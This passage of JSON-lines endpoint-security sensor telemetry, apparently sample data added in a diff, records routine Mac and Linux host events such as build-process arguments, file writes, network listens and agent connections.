fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"}
+{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"}
+{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"}
+{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"}
+{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"}
+{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"}
+{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"}
+{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"}
+{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"}
+{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"}
+{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"}
+{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"}
+{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"}
